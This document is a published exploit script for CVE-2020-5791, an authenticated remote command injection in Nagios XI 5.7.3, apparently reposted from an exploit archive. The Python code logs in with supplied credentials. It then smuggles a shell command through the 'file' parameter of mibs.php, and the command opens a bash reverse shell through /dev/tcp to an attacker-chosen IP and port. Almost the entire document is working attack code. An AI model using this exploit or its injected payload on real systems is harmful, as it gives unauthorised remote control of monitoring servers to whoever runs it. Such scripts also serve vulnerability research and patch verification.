Exploit for Nagios XI 5.7.3 Remote Command Injection CVE-2020-5791

## https://sploitus.com/exploit?id=PACKETSTORM:159743
# Exploit Title: Nagios XI 5.7.3 - 'mibs.php' Remote Command Injection (Authenticated)  
# Date: 10-27-2020  
# Vulnerability Discovery: Chris Lyne  
# Vulnerability Details: https://www.tenable.com/security/research/tra-2020-58  
# Exploit Author: Matthew Aberegg  
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/  
# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/  
# Software Link: https://www.nagios.com/downloads/nagios-xi/  
# Version: Nagios XI 5.7.3  
# Tested on: Ubuntu 20.04  
# CVE: CVE-2020-5791  
  
#!/usr/bin/python3  
  
import re  
import requests  
import sys  
import urllib.parse  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
# Credit: Chris Lyne for vulnerability discovery and original PoC  
  
if len(sys.argv) != 6:  
print("[~] Usage : ./exploit.py https://NagiosXI_Host/, Username, Password, Attacker IP, Attacker Port")  
exit()  
  
host = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
attacker_ip = sys.argv[4]  
attacker_port = sys.argv[5]  
  
login_url = host + "/nagiosxi/login.php"  
payload = ";/bin/bash -c 'bash -i >& /dev/tcp/{0}/{1} 0>&1';".format(attacker_ip, attacker_port)  
encoded_payload = urllib.parse.quote_plus(payload)  
  
  
def exploit():  
s = requests.Session()  
login_page = s.get(login_url)  
nsp = re.findall('var nsp_str = "(.*?)"', login_page.text)  
  
res = s.post(  
login_url,  
data={  
'nsp': nsp,  
'page': 'auth',  
'debug': '',  
'pageopt': 'login',  
'redirect': '/nagiosxi/index.php?',  
'username': username,  
'password': password,  
'loginButton': ''  
},  
verify=False,  
allow_redirects=True  
)  
  
injection_url = host + "/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file={0}".format(encoded_payload)  
res = s.get(injection_url)  
  
if res.status_code != 200:  
print("[~] Failed to connect")  
  
if __name__ == '__main__':  
exploit()